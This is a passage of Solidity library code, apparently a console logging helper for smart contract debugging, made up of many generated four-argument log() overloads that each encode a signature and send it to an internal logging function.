view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, 